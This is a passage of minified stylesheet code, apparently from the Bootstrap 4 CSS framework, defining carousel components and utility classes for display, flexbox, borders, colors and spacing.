.75rem;color:#212529}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-item{position:relative;display:none;-ms-flex-align:center;align-items:center;width:100%;transition:-webkit-transform .6s ease;transition:transform .6s ease;transition:transform .6s ease,-webkit-transform .6s ease;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}@media screen and (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.carousel-item-next,.carousel-item-prev{position:absolute;top:0}.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translateX(0);transform:translateX(0)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.active.carousel-item-right,.carousel-item-next{-webkit-transform:translateX(100%);transform:translateX(100%)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.active.carousel-item-right,.carousel-item-next{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.active.carousel-item-left,.carousel-item-prev{-webkit-transform:translateX(-100%);transform:translateX(-100%)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.active.carousel-item-left,.carousel-item-prev{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.carousel-fade .carousel-item{opacity:0;transition-duration:.6s;transition-property:opacity}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{opacity:0}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-prev,.carousel-fade .carousel-item-next,.carousel-fade .carousel-item-prev,.carousel-fade .carousel-item.active{-webkit-transform:translateX(0);transform:translateX(0)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-prev,.carousel-fade .carousel-item-next,.carousel-fade .carousel-item-prev,.carousel-fade .carousel-item.active{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:.5}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:transparent no-repeat center center;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")}.carousel-control-next-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")}.carousel-indicators{position:absolute;right:0;bottom:10px;left:0;z-index:15;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{position:relative;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;background-color:rgba(255,255,255,.5)}.carousel-indicators li::before{position:absolute;top:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators li::after{position:absolute;bottom:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators .active{background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#007bff!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#0062cc!important}.bg-secondary{background-color:#6c757d!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#545b62!important}.bg-success{background-color:#28a745!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#1e7e34!important}.bg-info{background-color:#17a2b8!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#117a8b!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#bd2130!important}.bg-light{background-color:#f8f9fa!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dae0e5!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#007bff!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#28a745!important}.border-info{border-color:#17a2b8!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-right{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-left{border-top-left-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-circle{border-radius:50%!important}.rounded-0{border-radius:0!important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.857143%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}@media (min-width:576px){.flex-sm-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-sm-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-sm-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-sm-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-sm-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-sm-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-sm-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-sm-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:768px){.flex-md-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-md-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-md-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-md-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-md-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-md-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-md-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-md-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-md-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-md-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-md-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-md-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-md-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-md-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-md-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-md-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-md-center{-ms-flex-align:center!important;align-items:center!important}.align-items-md-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-md-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-md-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-md-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-md-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-md-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-md-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-md-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-md-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-md-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-md-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-md-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-lg-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-lg-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-lg-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-lg-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-lg-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-lg-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-lg-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-lg-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-lg-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-lg-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-lg-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-lg-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-lg-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-lg-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-lg-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-lg-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-lg-center{-ms-flex-align:center!important;align-items:center!important}.align-items-lg-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-lg-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-lg-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-lg-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-lg-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-lg-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-lg-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-lg-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-lg-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-lg-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-lg-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-xl-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-xl-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-xl-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-xl-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-xl-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-xl-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-xl-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-xl-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-xl-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-xl-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-xl-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-xl-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-xl-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-xl-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-xl-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-xl-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-xl-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-xl-center{-ms-flex-align:center!important;align-items:center!important}.align-items-xl-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-xl-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-xl-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-xl-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-xl-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-xl-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-xl-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-xl-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-xl-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-xl-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-xl-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-xl-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-xl-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-xl-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports ((position:-webkit-sticky) or (position:sticky)){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.m